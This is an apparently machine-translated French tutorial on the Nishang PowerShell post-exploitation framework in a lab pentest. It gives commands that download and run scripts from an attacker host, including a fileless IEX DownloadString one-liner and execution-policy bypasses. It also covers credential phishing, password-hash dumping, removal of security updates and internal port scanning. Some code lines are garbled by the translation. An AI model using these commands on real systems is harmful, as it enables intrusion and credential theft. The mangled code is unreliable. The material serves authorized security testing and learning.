Nishang: Un framework de post-exploitation

Je faisais récemment un test de pénétration externe pour l’un de nos clients, où j’ai eu un accès shell à Windows Server 2012 (serveur Web interne assis derrière un IPS) avec des privilèges d’administration. Il semble également qu’un antivirus soit installé sur le système car tout ce que je téléchargeais sur la machine était supprimé à la volée. Je cherchais toutes les possibilités pour contourner ce problème et j’ai décidé de procéder avec PowerShell. Au moment où vous décidez de passer à PowerShell pour votre post-exploitation, vous n’avez pas vraiment à vous soucier d’écrire vos propres scripts pour gagner le jeu, car plusieurs options sont disponibles en ligne. L’un d’entre eux que j’ai vraiment aimé est Nishang. Bien que j’ai observé ce cadre dès sa création, je n’ai jamais eu la chance de l’utiliser dans les tests de pénétration du monde réel avant cela.

Si jamais vous rencontrez une situation où vous devez utiliser Nishang dans vos pentests, tant que vous avez un accès RDP à la machine distante, votre vie est facile. Cependant, comment procédez-vous lorsque RDP n’est pas disponible et que tout ce que vous avez est un shell distant ? Cet article vous sert d’introduction à l’utilisation de Nishang lorsque vous n’avez qu’un shell distant.

Qu’est-ce que Nishang ?

Nishang est un framework open source avec plusieurs scripts PowerShell puissants que vous pouvez utiliser pendant la phase de post-exploitation de votre test de pénétration. Il a de nombreux scripts classés en différentes catégories telles que la collecte d’informations, la numérisation, l’élévation des privilèges, etc. Cet article couvrira certains de ces scripts sans ordre spécifique. Le reste des scripts est laissé aux lecteurs comme un exercice, car Nishang est bien documenté avec d’excellentes options d’aide.

L’objectif principal de cet article est de présenter Nishang et de démontrer comment utiliser Nishang lorsque vous avez un shell distant sur le système cible.

Configuration du laboratoire:

Avant de commencer à lire l’article, il y a peu de points à noter.

  1. Il y a peu de charges utiles dans Metasploit pour obtenir une console PowerShell interactive sur la machine de la victime. Cela signifie que lorsque vous les utilisez, vous obtiendrez un PowerShell distant, où vous pourrez exécuter vos applets de commande et scripts PowerShell à distance.
  2. Meterpreter ne semble pas fonctionner correctement avec PowerShell. Cela signifie que vous ne pouvez pas obtenir de console PowerShell interactive lorsque vous avez un shell Meterpreter et que vous tentez d’en obtenir PowerShell à l’aide de la commande « powershell.exe » sur le shell de commande.
  3. Il est toujours bon d’apprendre des choses avec un shell ayant des fonctionnalités limitées, afin que vous puissiez tirer le meilleur parti de ce que vous apprenez. Cela signifie que nous avons un shell interactif simple obtenu à partir de la machine distante utilisant Netcat.

Installation

La figure suivante montre un shell avec des privilèges d’administration.

Nous utiliserons ce shell pour utiliser Nishang et explorer certains de ses scripts.

Nishang est disponible dans Kali Linux sous le répertoire « /usr/share/nishang/ ». Vous pouvez également le télécharger à partir du lien suivant.

https://github.com/samratashok/nishang

Commençons.

Lorsque nous avons un shell distant, il existe peu d’options pour exécuter des scripts PowerShell. Cependant, vous devez d’abord décider entre les deux situations suivantes.

  1. Vous souhaitez télécharger vos scripts sur le disque, puis les exécuter.
  2. Exécutez vos scripts sans toucher le disque.

Je vais avec la première option de cet article. Si vous êtes intéressé par l’option 2, j’ai donné la méthode à la fin de l’article.

Téléchargement de fichiers sur la machine distante

Le script de 3 lignes suivant peut être utilisé pour télécharger vos scripts sur la machine de la victime.

clientclient= Nouvel objet System.Net .Client Web

$ localisation de la cible = « http://192.168.56.103/Check-VM.ps1 »

$ client.DownloadFile(targtargetlocation, « Vérifier-VM.ps1 »)

Nous téléchargeons le script Check-VM.ps1 sur la machine distante en utilisant le script ci-dessus. Par conséquent, nous devons créer un fichier avec le script ci-dessus comme contenu. Pour ce faire, tapez simplement les commandes suivantes une par une sur le shell que nous avons obtenu.Il est possible de créer un nouveau système d’objets en utilisant le script .ps1. il est possible de créer un nouveau système d’objets en utilisant le script.ps1. il est possible d’utiliser un nouveau système d’objets en utilisant echotargtargetlocation. = « http://192.168.56.103/Check-VM.ps1 » >> script.ps1

echoclientclient.DownloadFile($targetlocation, « Check-VM.ps1 ») > > script.ps1

Cela ressemble à ce qui suit.

Une fois votre script prêt sur le système cible, exécutez-le comme indiqué ci-dessous afin que le script soit téléchargé sur la machine distante.

powershell.exe-ExecutionPolicy Bypass – Script de fichier non interactif.ps1

Comme nous pouvons le voir sur la figure ci-dessus, le script Check-VM.ps1 a été téléchargé et il est prêt à l’action. De même, vous pouvez télécharger n’importe quel script que vous voulez.

Check-VM

Le premier script que nous allons essayer est Check-VM.ps1 que nous venons de télécharger. Ce script vérifie si la machine cible s’exécute dans une machine virtuelle. Il recherche diverses signatures pour déterminer si la machine s’exécute dans une machine virtuelle. Par exemple, si un processus appelé vboxtray.exe est en cours d’exécution, il pourrait s’agir d’une boîte virtuelle. De même, si l’entrée de registre suivante est trouvée, elle indique qu’il s’agit d’une boîte virtuelle.

Faire cela manuellement pourrait être gênant. Ce script automatise l’ensemble du processus pour simplifier cette tâche.

Pour exécuter ce script, nous devons d’abord importer le module, puis appeler la fonction « Check-VM ». Puisque nous sommes sur un shell distant et qu’il n’est pas interactif d’exécuter des scripts PowerShell, utilisez le one-liner suivant pour effectuer l’ensemble du processus d’un seul coup.

Powershell.exe-exec bypass-Command « & { Import-Module’C:UsersUserDesktoptempCheck-VM.ps1 ‘; Vérifier – VM} »

Comme le montre la figure ci-dessus, le script l’a identifié comme Boîte virtuelle.

Port-Scan

Le script suivant est Port-Scan. C’est l’un des scripts les plus utiles de Nishang. Une fois que vous avez accès à une machine interne, trouver les adresses IP internes et les analyser pour les ports ouverts est toujours une partie cruciale de la post-exploitation. Ce script facilite la recherche des adresses IP actives d’une plage spécifiée et la recherche de ports ouverts.

Exécutez le script suivant pour vérifier les adresses IP en direct entre 192.168.56.101 et 192.168.56.105. Après cela, recherchez également les ports ouverts.

Powershell.exe-exec bypass-Command « & { Import-Module’C:UsersUserDesktoptempPort-Scan.ps1 ‘; Port-Scan–StartAddress 192.168.56.101 – Adresse de fin 192.168.56.105 – ResolveHost-ScanPort } »

Voici la génialité! Nous avons trouvé un contrôleur de domaine dans le réseau de laboratoire ci-dessus.

Remove-Update

Si vous souhaitez supprimer des correctifs installés sur la machine cible, ce script est fait pour vous. Supprimer – Le script de mise à jour vous aide à supprimer une mise à jour de la machine cible.

Tout d’abord, vérifions la liste des correctifs installés à l’aide de l’applet de commande « Get-Hotfix ».

Maintenant, essayons de supprimer la deuxième mise à jour KB2534366. Exécutez le script de suppression-mise à jour comme indiqué ci-dessous.

Powershell.exe-exec bypass-Command « & { Import-Module’C:UsersUserDesktoptempRemove-Update.ps1 ‘; Supprimer – Mettre à jour KB2534366} »

Comme nous pouvons le voir sur la figure ci-dessus, la mise à jour a été supprimée. Nous pouvons le recouper en exécutant à nouveau la même applet de commande comme indiqué ci-dessous.

Succès ! La mise à jour a été supprimée.

Invoke-CredentialsPhish

C’est un bon script pour faire du phishing et recevoir le nom d’utilisateur et le mot de passe de la victime en texte clair. La meilleure partie est que vous obtiendrez le bon nom d’utilisateur et mot de passe, car cette fenêtre de phishing ne disparaît pas tant que la victime n’a pas saisi le bon nom d’utilisateur et mot de passe.

Exécutez le script suivant dans le terminal.

Powershell.exe-exec bypass-Command « & { Import-Module’C:UsersUserDesktoptempInvoke-CredentialsPhish.ps1 ‘; Invoke – CredentialsPhish} »

Cela ouvrira une fenêtre sur la machine de la victime comme indiqué ci-dessous. Entrons d’abord un nom d’utilisateur et un mot de passe aléatoires.

Après quelques secondes, cette fenêtre réapparaîtra et l’utilisateur doit entrer les bonnes informations d’identification pour se débarrasser de la fenêtre. Cette fois, entrons les bonnes informations d’identification.

Voyons ce qui s’est passé à notre terminal. J

Nous avons le nom d’utilisateur et le mot de passe saisis par la victime.

FireBuster

FireBuster est l’un des scripts très utiles pour vérifier les ports sortants ouverts via le pare-feu. Ce script peut être testé à l’aide d’un autre script appelé FireListener, qui agit comme un écouteur pour tester la connexion. Comme c’est à des fins de test, j’ai démarré Netcat listener sur les ports 5555 et 5556 sur la machine de l’attaquant plutôt que d’utiliser FireListener. Maintenant, exécutez le script suivant pour voir si ces ports sont autorisés par le pare-feu à établir des connexions sortantes.

Powershell.exe-exec bypass-Command « & { Import-Module’C:UsersUserDesktoptempFireBuster.ps1 « ; FireBuster 192.168.56.103 5555-5556} »

Comme nous pouvons le voir sur la figure ci-dessus, la machine victime établit des connexions sortantes via les ports spécifiés.

Vérifions-le encore mais cette fois, j’ai bloqué les connexions sortantes sur le port 5556 de mon pare-feu Windows sur la machine de la victime.

Exécutons le script une fois de plus et observons les résultats.

Bien, on peut voir que le port 5556 n’est pas répertorié dans la sortie cette fois.

Get-PassHashes

Le dumping de hachages de mots de passe de la machine de la victime est l’une des choses courantes que nous voyons lors de la post-exploitation. Get-PassHashes supprime les hachages de mot de passe de la machine de la victime. Ce module nécessite une coque surélevée. Par conséquent, nous devons contourner l’UAC sur le shell distant.

Sur un shell élevé, exécutez le script suivant.

Powershell.exe-exec bypass-Command « & { Import-Module’C:UsersUserDesktoptempGet-PassHashes.ps1 « ; Get-PassHashes} »

Comme nous pouvons le voir sur la figure ci-dessus, nous avons tous les hachages.

Si vous voulez connaître les concepts de contournement de l’UAC, veuillez parcourir le livre suivant écrit par moi, où il est expliqué en détail.

https://resources.infosecinstitute.com/download/post-exploitation-without-automated-tools/

Si vous souhaitez télécharger et exécuter les modules mentionnés ci-dessus sans toucher au disque, vous pouvez utiliser la méthode suivante.

powershell.exe-exec bypass-Command « IEX(Nouvel objet Net.WebClient).DownloadString(‘http://192.168.56.103/Check-VM.ps1’); Vérification – VM »

La route à suivre

Il existe de nombreux autres scripts utiles disponibles dans Nishang qui peuvent être utilisés lors de nos tests de pénétration et je les laisse aux lecteurs comme un exercice car le concept derrière l’utilisation de tout autre script restera le même. Une autre boîte à outils PowerShell appelée PowerSploit a été discutée plus tôt sur notre blog, qui peut être trouvé ici.

Pour en savoir plus sur les dernières mises à jour de Nishang, veuillez suivre leur blog ici.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée.